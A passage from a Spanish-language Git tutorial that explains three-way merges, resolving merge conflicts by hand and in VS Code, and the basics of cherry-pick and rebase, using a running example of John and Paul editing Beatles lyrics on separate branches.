Fíjate que eliminé john_branch_2 y paul_branch_2 para simplicidad. Por supuesto, puedes eliminarlos de Git usando git branch -D <branch_name>. Como resultado, estos nombres de ramas no aparecerán en la salida de git log u otros comandos similares.

Esto también se aplica a las confirmaciones que ya no son accesibles desde ninguna referencia nombrada, tales como "Commit 8" o "Commit 9". Ya que ya no son accesibles desde ninguna referencia nombrada por medio de la cadena de los antecesores, no serán incluidos en la salida de comandos tales como git log.

Devuelta a nuestra historia - Paul y John han agregado un nuevo verso, así que a John le gustaría fusionar los cambios de Paul.

¿Puede John simplemente aplicar el parche de Paul?

Considera el parche de nuevo:

git diff main paul_branch_3

Como puedes ver, este diff se basa en la línea "Everyone had the boot in", pero esta línea ya no existe en la rama de John. Como resultado, podrías esperar que aplicar el parche falle. Continúa, inténtalo:

git apply paul_3.patch

De hecho, puedes ver que falló.

¿Pero debería fallar realmente?

Como expliqué anteriormente, git merge usa un algoritmo de 3 vías, y esto puede ser útil aquí. ¿Cuál sería el primer paso de este algoritmo?

Bueno, primero, Git encontraría la base de fusión - eso es, el ancestro común de la rama de Paul y de la rama de John. Considera el historial:

Así que el ancestro común de "Commit 11" y Commit 12" es "Commit 10". Puedes verificarlo ejecutando el comando:

git merge-base john_branch_3 paul_branch_3

Ahora podemos tomar los parches que generamos desde los diffs en ambas ramas, y aplicarlos al main. ¿Funcionaría?

Primero, intenta aplicar el parche de John, y luego el parche de Paul.

Considera el diff:

git diff main john_branch_3

Podemos almacenarlo en un archivo:

git diff main john_branch_3 > john_3.patch

Y aplicar este parche en el main:

git checkout main
git apply john_3.patch

Consideremos el resultado:

nano everyone.md

La línea cambió como se esperaba. Bien 😎

Ahora, ¿puede Git aplicar el parche de Paul? Para recordarte, este es el parche. Bueno, Git no puede aplicar este parche, porque este parche asume que la línea "Everyone had the boot in" existe. Tratar de aplicarlo es probable que falle:

Bueno, Git no puede aplicar este parche, porque este parche asume que la línea "Everyone had the boot in" existe. Tratar de aplicarlo es probable que falle:

git apply -v paul_3.branch

Lo que intentaste de hacer ahora, aplicar el parche de Paul en la rama main después de aplicar el parche de John, es lo mismo que estar en john_branch_3, e intentar de aplicar el parche. Eso es, ejecutando:

git apply paul_3.patch

¿Qué sucedería si intentaramos al revés?

Primero, limpia el estado:

git reset --hard

Y comienza desde la rama de Paul:

git checkout paul_branch_3

¿Podemos aplicar el parche de Paul? Como recordatorio, este es el estado de everyone.md en esta rama:

Y este es el parche de John:

¿Funcionaría aplicar el parche de John?

Intenta contestarte a tí mismo antes de continuar leyendo.

Puedes intentar:

git apply john_3.patch

Bueno, ¡no! De nuevo, si estás seguro de lo que pasó, siempre puedes pedir con git apply para que sea un poco más verboso:

git apply -v john_3.patch

Git está buscando "Everyone put the feet down", pero Paul ya ha cambiado esta línea así que ahora consiste de la palabra "foot" en vez de "feet". Como resultado, aplicar este parche falla.

Fíjate que cambiar el número de las líneas de contexto aquí (eso es, usando git apply con el argumento -C, como se discutió en el capítulo anterior) es irrelevante - Git es incapaz de localizar la línea actual que el parche está intentando de eliminar.

Pero en realidad, Git puede hacer que esto funcione, si sólo agregas un argumento para aplicar, diciéndole que haga una fusión de tres vías por debajo:

git apply -3 john_3.patch

Y considera el resultado:

¡Exactamente lo que queríamos! ¡Tienes el verso de Paul, y los de John!

Así que, ¿cómo Git fue capaz de lograr eso?

Bueno, como mencioné, Git realmente hizo una fusión de 3 vías, y con este ejemplo, será un buen momento para indagar lo que esto realmente significa.

Cómo funciona el Algoritmo de Fusión de 3 vías de Git

Vuelve al estado antes de aplicar este parche:

git reset --hard

Ahora tienes tres versiones: la base de fusión, el cual es "Commit 10", la rama de Paul, y la rama de John. En términos generales, podemos decir que estos son el merge base, commit A y commit B. Fíjate que el merge base es por definición un ancestro de ambos commit A y commit B.

Para realizar una fusión, Git mira al diff entre las tres diferentes versiones del archivo en cuestión de estas tres revisiones. En tu caso, es el archivo everyone.md, y las revisiones son "Commit 10", la rama de Paul - eso es, "Commit 11", y la rama de John, eso es, "Commit 12".

Git hace la decisión de fusión basado en el estado de cada línea en cada una de estas versiones.

En caso que no todas las tres versiones coincidan, eso es un conflicto. Git puede resolver muchos de estos conflictos automáticamente, como veremos ahora.

Consideremos líneas específicas.

Las primeras líneas aquí existen solamente en la rama de Paul:

Esto significa que el estado de la rama de John es igual al estado de la base de fusión. Así que la fusión de 3 vías va a la par con la versión de Paul.

En general, si el estado de la base de fusión es el mismo que el A, el algoritmo va la par con B. La razón se debe a que la base de fusión es el ancestro de A y de B, Git asume que esta línea no ha cambiado en A, y ha cambiado en B, el cual es la versión más reciente para esa línea, y por lo tanto debería ser tomado en cuenta.

Luego, puedes ver líneas donde toda las tres versiones están de acuerdo - están en la base de fusión, A y B, con datos iguales.

En este caso el algoritmo tiene una opción trivial - sólo toma esa versión.

En un ejemplo previo, vimos que si la base de fusión y A están de acuerdo, y la versión de B es diferente, el agoritmo toma B. Esto funciona en la otra dirección también - por ejemplo, aquí tienes una línea que existe en la rama de John, distinto al de la base de fusión y al de la rama de Paul.

Por lo tanto, la versión de John es elegida:

Ahora considera otro caso, donde A y B están de acuerdo en una línea, pero el valor en el que están de acuerdo es distinta del de la base de fusión: ambos John y Paul acordaron en cambiar la línea "Everyone put their feet down" a "Everyone put their foot down":

En este caso, el algoritmo toma la versión de A y de B.

Fíjate que esto no es un voto democrático. En el caso previo, el algoritmo tomó la versión minoritaria, ya que se parecía a la versión más reciente de esta línea. En este caso, llega a tomar la mayoría - pero solamente porque A y B son las revisiones que acordan en la nueva versión.

Lo mismo sucedería si usaramos git merge:

git merge john_branch_3

Sin especificar ningún argumento, git merge por defecto usará una fusión de 3 vías.

El estado de everyone.md después de ejecutar git merge john_branch sería el mismo que el resultado que alcanzaste al aplicar los parches con git apply -3.

Si consideras el historial:

Verás que la confirmación de fusión tiene dos antecesores: el primero es el "Commit 11", eso es, a donde apuntó paul_branch_3 antes de la fusión. El segundo es "Commit 12", a donde john_branch_3 apuntó, y a donde todavía apunta ahora.

¿Qué sucederá si ahora fusionas desde main? Eso es, cambiar a la rama main, el cual apunta al "Commit 10":

git checkout main

¿Y luego fusionar la rama de Paul?

git merge paul_branch_3

De hecho, obtenemos una fusión directa - como antes de ejecutar este comando, main era un ancestro de paul_branch_3.

Así que, esto es una fusión de 3 vías. En general, si todas las versiones acuerdan en una línea, luego esta línea es usada. Si A y la base de fusión coinciden, y B tiene otra versión, B es tomado. En el caso opuesto, donde la base de fusión y B coinciden, la versión A es seleccionado. Si A y B coinciden, esta versión es tomada, sea que la base de fusión esté de acuerdo o no.

Esta descripción deja una pregunta abierta: ¿qué sucede en casos donde todas las tres versiones están en desacuerdo?

Bueno, eso es un conflicto que Git no lo resuelve automáticamente. En estos casos, Git pide ayuda de un humano.

Cómo resolver conflictos de fusión

Siguiendo hasta ahora, deberías entender las bases del comando git merge, y cómo Git puede resolver automáticamente algunos conflictos. También entiendes qué casos son resueltos automáticamente.

Ahora, consideremos un caso más avanzado.

Digamos que Paul y John continúan trabajando en esta canción.

Paul crea una nueva rama:

git checkout -b paul_branch_4

Y él decide agregar algunos "Yeah" a la canción, así que él cambia este verso como sigue:

Así que Paul pone en el área de preparación y confirma estos cambios:

git add everyone.md
git commit -m "Commit 13"

Paul también crea otra canción, let_it_be.md y lo agrega al repo:

git add let_it_be.md
git commit -m "Commit 14"

Este es el historial:

Volviendo a main:

git checkout main

John también crea una rama:

git checkout -b john_branch_4

Y John también trabaja en la canción "Everyone had a hard year", luego para ser llamado "I've got a feeling" (de nuevo, esto no es un libro sobre los Beatles, así que no daré mas detalles aquí. Mira los enlaces adicionales si tienes curiosidad).

John decide cambiar todas las ocurrencias de "Everyone" to "Everybody":

Él pone en el área de preparación y confirma esta canción al repo:

git add everyone.md
git commit -m "Commit 15"

Bien. Ahora John también crea otra canción, across_the_universe.md. Él lo agrega al repo también:

git add across_the_universe.md
git commit -m "Commit 16"

Observa el historial nuevamente:

Puedes ver que el historial difiere de main, a dos ramas distintas - paul_branch_4, y john_branch_4.

A este punto, a John le gustaría fusionar los cambios introducidos por Paul.

¿Qué va a pasar aquí?

Recuerda los cambios introducidos por Paul:

git diff main paul_branch_4

¿Qué piensas? ¿La fusión funcionará?

Inténtalo:

git merge paul_branch_4

¡Tenemos un conflicto!

Git no puede fusionar estas ramas por sí mismo. Puedes obtener una vista general del estado de fusión, usando git status:

Los cambios que Git no tuvo problema resolviendo están en el área de preparación para confimar. Y hay una sección separada para "rutas no fusionadas" - estos son archivos con conflictos que Git no podría resolver por sí mismo.

Es tiempo de entender por qué y cuando estos conflictos suceden, cómo resolverlos, y también cómo Git los maneja por debajo.

¡Muy bien entonces! Espero que al menos estés emocionado como yo. 😇

Recordemos lo que sabemos sobre fusiones de 3 vías:

Primero, Git buscará la base de fusión - el ancestro común de john_branch_4 y paul_branch_4. ¿Cuál confirmación sería ese?

Sería la punta de la rama main, la confirmación en el cual fusionamos john_branch_3 en paul_branch_3.

De vuelta, si no estás seguro, puedes verificar eso ejecutando:

git merge-base john_branch_4 paul_branch_4

Y en el estado actual, git status sabe qué archivos están en el área de preparación y cuáles no.

Considera el proceso para cada archivo, el cual es el mismo que el algoritmo de fusión de 3 vías que consideramos por línea, pero a nivel de archivo:

across_the_universe.md existe en la rama de John, pero no existe en la base de fusión o en la rama de Paul. Así que Git elige incluir este archivo. Ya que ya estás en la rama de John y este archivo es incluido en la punta de esta rama, no es mencionado por git status.

let_it_be.md existe en la rama de Paul, pero no existe en la base de fusión o en la rama de John. Así que git merge "elige" incluirlo.

¿Qué hay sobre everyone.md? Bueno, aquí tenemos tres estados distintos de este archivo: su estado en la base de fusión, su estado en la rama de John, y su estado en la rama de Paul. Mientras se realiza una fusión, Git almacena todas estas versiones en el índice.

Observemos eso mirando directamente al índice con el comando git ls-files:

git ls-files -s --abbrev

Puedes ver que everyone.md tiene tres entradas diferentes. Git le asigna a cada versión un número que representa la "fusión" del archivo, y esta es una propiedad distinta de una entrada de índice, junto con el nombre del archivo y el modo bits.

Cuando no hay conflicto de fusión en cuanto a un archivo, su "área de preparación" es 0. Esto es de hecho el estado para across_the_universe.md, y para let_it_be.md.

En un estado de conflicto, tenemos:

• Estado 1 - el cual es la base de fusión.
• Estado 2 - el cual es "tu" versión. Eso es, la versión del archivo en la rama en la que estás fusionando. En nuestro ejemplo, este sería john_branch_4.
• Estado 3- el cual es "su" versión, también llamado el MERGE_HEAD. Eso es, la versión en la rama que estás fusionando (en la rama actual). En nuestro ejemplo, ese es paul_branch_4.

Para observar los contenidos del archivo en un estado específico, puedes usar un comando que introduje en un post previo, git cat-file, y proveer el SHA del blob:

git cat-file -p <BLOB_SHA_FOR_STAGE_2>

Y justamente, este es el contenido que esperábamos - de la rama de John, donde las líneas comienzan con "Everybody" en vez de "Everyone".

Un lindo truco que te permite ver el contenido rápidamente sin proveer el valor SHA-1 del blob, es usando git show, así:

git show :<STAGE>:everyone.md

Por ejemplo, para obtener el contenido de la misma versión como con git cat-file -p <BLOB_SHA_FOR_STAGE_2>, puedes escribir git show :2:everyone.md.

Git registra los tres estados de los tres confirmaciones en el índice de esta forma al comienzo de la fusión. Luego continúa con el algoritmo de fusión de tres vías para resolver rápidamente los casos sencillos.

En el caso que todas las tres áreas de preparación coincidan, entonces la selección es trivial.

Si un lado hiciera un cambio mientras los otros no lo hicieron - eso es, área de preparación 1 coincide con el área de preparación 2 - entonces elegimos el área de preparación 3, o vice versa. Eso es exactamente lo que sucedió con let_it_be.md y across_the_universe.md.

En caso de una supresión en la rama entrante, por ejemplo, y dado que no hubieron cambios en la rama actual, entonces veríamos que el stage 1 coincide con el stage 2, pero no hay stage 3. En este caso, git merge quita el archivo para la versión fusionada.

Lo que es realmente interesante aquí es para coincidir, Git no necesita los archivos actuales. Más bien, se puede basar en los valores SHA-1 de los blobs correspondientes. De esta forma, Git puede detectar fácilmente el estado en el que se encuentra un archivo.

Para everyone.md tiene este caso especial - donde el área de preparación 1, el área de preparación 2 y el área de preparación 3 son todos distintos uno del otro. Eso es, tienen SHAs de blob distintos. Es momento de ir más profundo y entender el conflicto de fusión. 😊

Una forma de hacer eso sería simplemente usar git diff. En un capítulo anterior, examinamos git diff en detalle, y vimos que muestra las diferencias entre varias combinaciones del árbol de trabajo, del índice o de las confirmaciones.

Pero git diff también tiene un modo especial para ayudar con los conflictos de fusión:

git diff

Esta salida podría ser confuso al principio, pero una vez que te acostumbras, es bastante claro. Empecemos por entenderlo, y luego veamos cómo puede resolver los conflictos con otras herramientas mas visuales.

La sección en conflictos está separado por los signos "iguales"  (===), y marcado con las ramas correspondientes. En este contexto, "el nuestro" es la rama actual. En este ejemplo, sería john_branch_4, la rama a la que HEAD estaba apuntando cuando iniciamos el comando git merge. "El suyo" es el MERGE_HEAD, la rama que estamos fusionando - en este caso, paul_branch_4.

Así que git diff sin ningun argumento especial muestra los cambios entre el árbol de trabajo y el índice - el cual en este caso son los conflictos aún por resolver. La salida no incluye cambios en el área de preparación, lo cual es conveniente para resolver el conflicto.

Es tiempo de resolver esto manualmente. ¡Qué divertido!

Así, ¿por qué esto es un conflicto?

Para Git, Paul y John hicieron distintos cambios a la misma línea, por unas pocas líneas. John lo cambió a una cosa, y Paul lo cambió a otra cosa. Git no puede decidir cuál es el correcto.

Este es no es el caso para las últimas líneas, como la línea solía ser "Everyone had a hard year" en la base de fusión. Paul no ha cambiado esta línea, o las líneas que le rodean, así su versión en paul_branch_4 o "el suyo" en nuestro caso, se pone de acuerdo con el merge_base. Aunque la versión de John, "el nuestro", es distinto. Así git merge puede decidir fácilmente que tome esta versión.

Pero, ¿qué hay sobre las líneas en conflicto?

En este caso, sé lo que quiero, y eso es en realidad una combinación de estas líneas. Quiero que las líneas comiencen con "Everybody", siguiendo el cambio de John, pero también que incluya los "yeah" de Paul. Así que ve y crea la versión deseada editando a everyone.md:

nano everyone.md

Para comparar el archivo resultante con lo que tenías en la rama previa a la fusión, puedes ejecutar:

git diff --ours

De manera similar, si deseas ver cuánto difiere el resultado de la fusión de la rama que fusionaste en nuestra rama, puedes ejecutar:

git diff --theirs

Inclusive puedes ver cuán distinto es el resultado de ambos lados usando:

git diff --base

Ahora puedes poner en el área de preparación la versión arreglada:

git add everyone.md

Después de poner en el área de preparación, si miras en git status, no verás conflictos:

Ahora puedes simplemente usar git commit, y Git te presentará con un mensaje de confirmación conteniendo los detalles sobre la fusión. Puedes modificarlo si quisieras, o dejarlo como está. Sin importar del mensaje de confirmación, Git creará un "mensaje de fusión" - eso es, una confirmación con más de un precesor.

Para validar eso, considera el historial:

john_branch_4 ahora apunta a la nueva confirmación de fusión. La rama entrante, "el suyo", en este caso, paul_branch_4, se mantiene donde estaba.

Cómo usar VS Code para resolver los conflictos

Ahora verás cómo resolver el mismo conflicto usando una herramienta gráfica. Para este ejemplo, use VS Code, el cual es un editor de código popular y gratis. Hay muchas otras herramientas, pero el proceso es similar, así que solo mostraré VS Code como un ejemplo.

Primero, volvamos al estado antes de la fusión:

git reset --hard HEAD~

E intentemos fusionar otra vez:

git merge paul_branch_4

Deberías estar nuevamente al mismo estado:

Veamos cómo aparece esto en VS Code:

VS Code marca las distintas versiones con "Current Change" - el cual es la versión de la "nuestra", el actual HEAD, y "Cambio Entrante" para la rama que estamos fusionando en la rama activa. Puedes aceptar uno de los cambios (o ambos) haciendo clic en una de las opciones.

Si hiciste clic en Resolver en Editor de Fusión, obtendrás una vista mas visual del estado. VS Code muestra el estado de cada línea:

Si miras con atención, verás que VS Code muestra cambios dentro de las palabras - por ejemplo, muestra que "Everyone" fue cambiado a "Everybody", marcando las partes cambiadas.

Puedes aceptar cualquier versión, o puedes aceptar una combinación. En este caso, si haces clic en "Aceptar Combinación", obtienes este resultado:

¡VS Code hizo un excelente trabajo! El mismo algoritmo de fusión de tres vías fue implementado aquí y usado a el nivel de palabra en vez a nivel de línea. Así que VS Code fue capaz en realidad de resolver este conflicto de una forma impresionante. Por supuesto, puedes modificar la sugerencia de VS Code, pero proveyó un comienzo muy bueno.

Una Herramienta Poderosa adicional

Bueno, este fue la primera vez en este libro que he usado una herramienta con una interfaz de usuario gráfica. De hecho, las interfaces gráficas pueden ser convenientes para entender lo que está sucediendo cuando estás resolviendo conflictos de fusión.

Sin embargo, como en muchos otros casos, cuando necesitamos realmente entender lo que está sucediendo, la línea de comando se vuelve práctico. Así que, volvamos a la línea de comandos y aprendamos una herramienta que nos puede venir bien en casos mas complicados.

De nuevo, vuelve al estado antes de la fusión:

git reset --hard HEAD~

Y fusiona:

git merge paul_branch_4

Y digamos, no estás seguro exactamente de lo que pasó. ¿Por qué hay un conflicto? Un comando muy útil sería:

git log -p --merge

Como recordatorio, git log muestra el historial de confirmaciones que son alcanzables desde HEAD. Agregando -p le dice a git log que muestre las confirmaciones juntamente con los diffs que introdujeron. El argumento --merge hace que el comando muestre todas las confirmaciones que contienen cambios relevantes a cualquier archivo que no están en el área de preparación, en cualquier rama, junto con sus diffs.

Esto te puede ayudar en identificar los cambios en el historial que llevaron a los conflictos. Así que en este ejemplo, verías:

La primer confirmación que vemos es "Commit 15", ya que en ésta confirmación John modificó everyone.md, un archivo que todavía tiene conflictos. Luego, Git muestra "Commit 13", donde Paul cambió everyone.md:

Fíjate que git log --merge no mencionó confirmaciones previas que cambiaron a everyone.md antes de "Commit 13", ya que no afectaron el conflicto actual.

De esta forma, git log te dice que todo lo que necesitas saber para entender el proceso que te llevó al estado de conflicto actual. ¡Genial! 😎

Usando la línea de comandos, también puedes preguntarle a Git que tome solamente un lado de los cambios - sea "el nuestro" o "el suyo", inclusive para un archivo específico.

También puedes instruir a Git que tome algunas partes de los diffs de un archivo y otro de otro archivo. Proveeré enlances que describen cómo hacer eso en los recursos adicionales de este capítulo en el apéndice.

Para la mayor parte, puedes lograr eso bastante fácil, sea manualmente o desde la UI de tu IDE favorito.

Por ahora, es tiempo de recapitular.

Recapitulando - Entendiendo Git Merge

En este capítulo, tuviste una vista general extensiva de fusión con Git. Aprendiste que fusionar es el proceso de combinar los cambios recientes desde varias ramas en una sola confirmación. La nueva confirmación tiene dos predecesores - esas confirmaciones los cuales han sido las puntas de las ramas que fueron fusionados.

Consideramos una fusión directa sencilla, lo cual es posible cuando una rama difiere de la rama base, y luego agregamos confirmaciones por encima de la rama base.

Luego consideramos fusiones de tres vías, y explicamos el proceso de tres estados:

• Primero, Git localiza la base de fusión. Como recordatorio, este es la primer confirmación que es alcanzable desde ambas ramas.
• Segudno, Git calcula los dos diffs - un diff desde la base de fusión a la primer rama, y otro diff desde la base de fusión a la segunda rama. Git genera parches basados en esos diffs.
• Tercero y último, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.

Indagamos profundamente en el proceso de fusión de 3 vías, sea a nivel de archivo o a nivel de hunk. Consideramos cuando Git es capaz de basarse en una fusión de 3 vías para resolver automáticamente los conflictos, y cuando no puede.

Viste la salida de git diff cuando estamos en un estado de conflicto, y cómo resolver los conficltos manualmente o con VS Code.

Hay mucho más que decir sobre las fusiones - diferentes estrategias de fusión, fusiones recursivas, y así sucesivamente. Con todo, creo que este capítulo cubrió todo lo necesario de esa forma tienes un entendimiento robusto de lo que es una fusión, y qué sucede por debajo en la vasta mayoría de casos.

Recursos relacionados a los Beatles

• https://www.the-paulmccartney-project.com/song/ive-got-a-feeling/
• https://www.cheatsheet.com/entertainment/did-john-lennon-or-paul-mccartney-write-the-classic-a-day-in-the-life.html/
• http://lifeofthebeatles.blogspot.com/2009/06/ive-got-feeling-lyrics.html

Capítulo 8 - Entendiendo Git Rebase

Una de las herramientas más poderosas que tiene un desarrollador en su caja de herramientas es git rebase. Aunque es notorio por ser complejo e incomprendido.

La verdad es, si entiendes lo que hace en realidad, git rebase es una herramienta muy elegante, y directa para alcanzar muchísimas cosas diferentes en Git.

En los capítulos previos en esta parte, aprendiste qué son los diffs de Git, lo que es una fusión, y cómo Git resuelve los conflictos de fusión. En este capítulo, entenderás lo que es rebase de Git, por qué es diferente de merge, y cómo hacer rebase (sobrescribir la base) con confianza.

Recapitulación Corta - ¿Qué es Git Merge?

Por debajo, git rebase y git merge son cosas muy muy distintas. Entonces, ¿por qué la gente los compara todo el tiempo?

La razón es su uso. Cuando se trabaja con Git, usualmente trabajamos en distintas ramas e introducimos cambios a esas ramas.

En el capítulo previo, consideramos el ejemplo donde John y Paul (de los Beatles) eran co-autores de nueva canción. Comenzaron desde la rama main, y luego cada uno difirió, modificaron la letra, y confirmaron sus cambios.

Luego, los dos querían integrar sus cambios, lo cual es algo que sucede muy frecuente cuando se trabaja con Git.

Hay dos formas principales para integrar cambios introducidos en diferentes ramas en Git, o en otras palabras, en diferentes confirmaciones e historiales de confirmación. Estos son merge y rebase.

En el capítulo anterior, llegamos a saber git merge bastante bien. Vimos que cuando realizamos una fusión, creamos una confirmación de fusión - donde los contenidos de esta confirmación son una combinación de las dos ramas, y también tiene dos predecesores, una en cada rama.

Así que, digamos que estás en la rama john_branch (asumiendo el historial representado en el dibujo de arriba), y ejecutas git merge paul_branch. Llegarás a este estado - donde en john_branch, hay una nueva confirmación con dos predecesores. El primero será la confirmación en la rama john_branch donde el HEAD estaba apuntando a un estado antes de realizar la fusión - en este caso, "Commit 6". El segundo será la confirmación a la que apunta paul_branch, "Commit 9".

Mira otra vez al gráfico del historial: creaste un historial divergente. Puedes ver dónde se ramificó y dónde se fusionó nuevamente.

Así que cuando usas git merge, no puedes reescribir el historial - sino, que agregas una confirmación al historial existente. Y específicamente, una confirmación que crea un historial divergente.

¿Cómo se diferencia git rebase de git merge?

Cuando se usa git rebase, algo distinto ocurre.

Comencemos con el panorama general: si estás en paul_branch, y usas git rebase john_branch, Git va al ancestro común de la rama de John y de Paul. Luego tomas los parches introducidos en las confirmaciones de la rama de Paul, y aplicar esos cambios a la rama de John.

Así que aquí, usas rebase para tomar los cambios que fueron confirmados en una rama - la rama de Paul - y reproducirlos en una rama distinta, john_branch.

Espera, ¿qué significa eso?

Ahora tomaremos esto poco a poco para asegurarnos que entiendes completamente lo que estás sucediendo por debajo 😎.

cherry-pick como una base para Rebase

Es útil pensar de rebase como realizar git cherry-pick - un comando que toma una confirmación, calcula el parche que ésta confirmación introduce al calcular la diferencia entre la confirmación del predecesor y la confirmación misma, y luego cherry-pick "repite" esta diferencia.

Hagamos esto manualmente.

Si miramos la diferencia introducido por "Commit 5" al hacer git diff main <SHA_OF_COMMIT-5>:

Como siempre, se te anima en ejecutar los comandos tú mismo mientras lees este capítulo. A menos que se diga otra cosa, usaré el siguiente repositorio:

https://github.com/Omerr/rebase_playground.git

Te recomiendo que lo clones de forma local y tener el mismo punto de inicio que estoy usando para este capítulo.

Puedes ver eso en esta confirmación, John comenzó trabajando en una canción llamada "Lucy in the Sky with Diamonds":

Como recordatorio, también puedes usar el comando git show para obtener la misma salida:

git show <SHA_OF_COMMIT_5>

Ahora, si haces cherry-pick a esta confirmación, introducirás este cambio específicamente, en la rama activa. Cambia a main primero:

git checkout main (or git switch main)

Y crea otra rama:

git checkout -b my_branch (or git switch -c my_branch)

Luego, haz cherry-pick a "Commit 5":

git cherry-pick <SHA_OF_COMMIT_5>

Considera el log (salida de git lol):

Parece que copiaste-pegaste el "Commit 5". Recuerda que inclusive tiene el mismo mensaje de confirmación, e introduce los mismos cambios, e inclusive apunta al mismo objeto de árbol como el "Commit 5" original en este caso - todavía es un objeto de confirmación distinto, como si fuese creado con una marca de tiempo distinto.

Mirando a los cambios, usando git show HEAD

Son lo mismo como los "Commit 5".

Y por supuesto, si miras al archivo (digamos, usando nano lucy_in_the_sky_with_diamonds.md), estará en el mismo estado que estaba después del "Commit 5" original.

¡Genial! 😎

Ahora puedes quitar la nueva rama así no aparece en tu historial cada vez:

git checkout main
git branch -D my_branch

Más allá de cherry-pick - Cómo usar git rebase

Puedes ver a git rebase como una forma de realizar múltiples cherry-pick uno después del otro - eso es, "repetir" múltiples confirmaciones. Esto no es lo único que puedes hacer con rebase, pero es un buen punto de comienzo para nuestra explicación.

¡Es tiempo de jugar con git rebase!

Antes, hiciste fusión de paul_branch en john_branch. ¿Qué debería de pasar si hicieras rebase de paul_branch por encima de john_branch? Obtendrías un historial muy distinto.

En esencia, parecería como si tomáramos los cambios introducidos en las confirmaciones de paul_branch, y repitiéramos en john_branch. El resultado sería un historial linear.

Para entender el proceso, te proveeré la vista de alto nivel, y luego indagaré más profundo en cada paso. El proceso de hacer rebase en una rama por encima de otra rama es como lo siguiente:

1. Encuentra el ancestro común.
2. Identifica las confirmaciones a ser "repetidos".
3. Para cada confirmación X, calcula diff(parent(X), X), y lo almacena como un patch(X).
4. Mueve a HEAD a la nueva base.
5. Aplica los parches generados en orden en la rama de destino. Cada vez, crea un nuevo objeto de confirmación con el nuevo estado.

El proceso de hacer nuevas confirmaciones con el mismo conjunto de cambios que los existentes también se le llama "repetir" esas confirmaciones, un término que ya hemos usado.

Tiempo de practicar con Rebase

Antes de ejecutar el siguiente comando, asegúrate de tener a john_branch localmente, así que ejecuta:

git checkout john_branch

Comienza desde la rama de Paul:

git checkout paul_branch

Este es el historial:

Y ahora, la parte emocionante:

git rebase john_branch

Y observa el historial:

Con git merge agregaste al historial, mientras que con git rebase reescribes el historial. Creas nuevos objetos de confirmación. Además, el resultado es un gráfico de historial linear - en vez de un gráfico divergente.

En esencia, "copiaste" las confirmaciones que estaban en paul_branch y que fueron introducidos después de "Commit 4", y los "pegaste" por encima de john_branch.

El comando se llama "rebase", porque cambia la confirmación base de la rama de donde se ejecuta. Eso es, en tu caso, antes de ejecutar git rebase, la base de paul_branch era "Commit 4" - ya que aquí es donde la rama "nació" (desde main). Con rebase, le pediste a Git que le diera otra base - eso es, pretender que haya nacido desde "Commit 6".

Para hacer eso, Git tomó lo que solía ser "Commit 7", y "repitió" los cambios introducidos en esta confirmación en "Commit 6". Luego creó un nuevo objeto de confirmación. Este objeto difiere del "Commit 7"  original en tres aspectos:

1. Tiene una marca de tiempo distinto.
2. Tiene una confirmación antecesora distinta - "Commit 6", en vez de "Commit 4".
3. El objeto árbol al que está apuntado es distinto - como si los cambios fueran introducidos en el árbol apuntado por "Commit 6", y no el árbol apuntado por "Commit 4".

Fíjate la última confirmación aquí, "Commit 9".  La copia instantánea que representa (eso es, el árbol al que apunta) es exactamente el mismo árbol que obtendrías al hacer fusión de las dos ramas. El estado de los archivos en tu repositorio Git sería el mismo como si usaras git merge. Es solamente el historial que es diferente, y los objetos de confirmación por supuesto.

Ahora, puedes usar simplemente:

git checkout main
git merge paul_branch

Hm..... ¿qué sucedería si ejecutas este último comando? Considera el historial de confirmación de nuevo, después de verificar a main:

¿Qué significaría el hacer fusión de main y paul_branch?

En efecto, Git puede simplemente hacer una fusión directa, ya que el historial es completamente linear (si necesitas un recordatorio sobre fusiones directos, mira el capítulo previo). Como resultado, main y paul_branch ahora apunta a la misma confirmación:

Rebase avanzado en Git

Ahora que entiendes lo básico de rebase, es tiempo de considerar casos más avanzados, donde conmutadores y argumentos adicionales al comando rebase serán útiles.

En el ejemplo previo, cuando solamente usaste rebase (sin conmutadores adicionales), Git repitió todas las confirmaciones desde el ancestro común a la punta de la rama actual.

Pero rebase es un super poder. Es un comando todopoderoso capaz de.. bueno, reescribir el historial. Y puede ser útil si quieres modificar el historial para hacer el tuyo propio.

Deshaz la última fusión haciendo que main apunte a "Commit 4" nuevamente:

git reset --hard <ORIGINAL_COMMIT 4>

Y deshaz el rebasing usando:

git checkout paul_branch
git reset --hard <ORIGINAL_COMMIT 9>

Fíjate que obtuviste exactamente el mismo historial que solías tener:

Para ser claro, "Commit 9" no sólo desaparece cuando no es alcanzable desde el HEAD actual. Al contrario, todavía es almacenado en la base de datos de objetos. Y como usaste git reset ahora para hacer que HEAD apunte a esta confirmación, fuiste capaz de recuperarlo, y también sus confirmaciones antecesoras ya que también están almacenados en la base de datos. Bastante genial, ¿hah? 😎

Aprenderás más sobre git reset en la próxima parte, donde discutimos sobre deshacer cambios en Git.

Mira los cambios que Paul introdujo:

git show HEAD

Sigue yendo hacia atrás en el gráfico de confirmación:

git show HEAD~

Y una confirmación más allá:

git show HEAD~2

Tal vez Paul no quiere este tipo de historial. Más bien, quiere que parezca como si se introdujera los cambios en "Commit 7" y "Commit 8" como una sola confirmación.

Para eso, puedes usar un rebase interactivo. Para hacer eso, agregamos el conmutador -i (o --interactive) al comando rebase:

git rebase -i <SHA_OF_COMMIT_4>

O, ya que main está apuntando a "Commit 4" , podemos ejecutar:

git rebase -i main

Ejecutando este comando, le dices a Git que use una nueva base, "Commit 4". Así que le pides a Git que vuelva atrás a todas las confirmaciones que fueron introducidos después de "Commit 4" y que son alcanzables  desde el HEAD actual, y repita esas confirmaciones.

Para cada confirmación que es repetido, Git nos pregunta que nos gustaría hacer con él:

En este contexto es útil imaginarse de una confirmación como un parche. Eso es, "Commit 7", como "el parche que "Commit 7" introdujo por encima de su antecesor".

Una opción es usar pick. Este es el comportamiento predeterminado, el cual le dice a Git que repita los cambios introducidos en esta confirmación. En este caso, si sólo lo dejas como está - y haces pick de todas las confirmaciones - obtendrás el mismo historial, y Git no creará nuevos objetos de confirmación.

Otra opción es squash. Una confirmación aplastada (del inglés "squashed") tendrá su contenido "doblado" (del inglés "folded") en los contenidos de la confirmación que le precede. Así que en nuestro caso, a Paul le gustaría aplastar "Commit 8" en "Commit 7":

Como puedes ver, git rebase -i provee opciones adicionales, pero no lo veremos en este capítulo. Si permites a rebase que se ejecute, se te mostrará una ventana para seleccionar un mensaje de confirmación para la nueva confirmación creada (eso es, el que introdujo los cambios de "Commit 7" y "Commit 8"):

Y mira el historial:

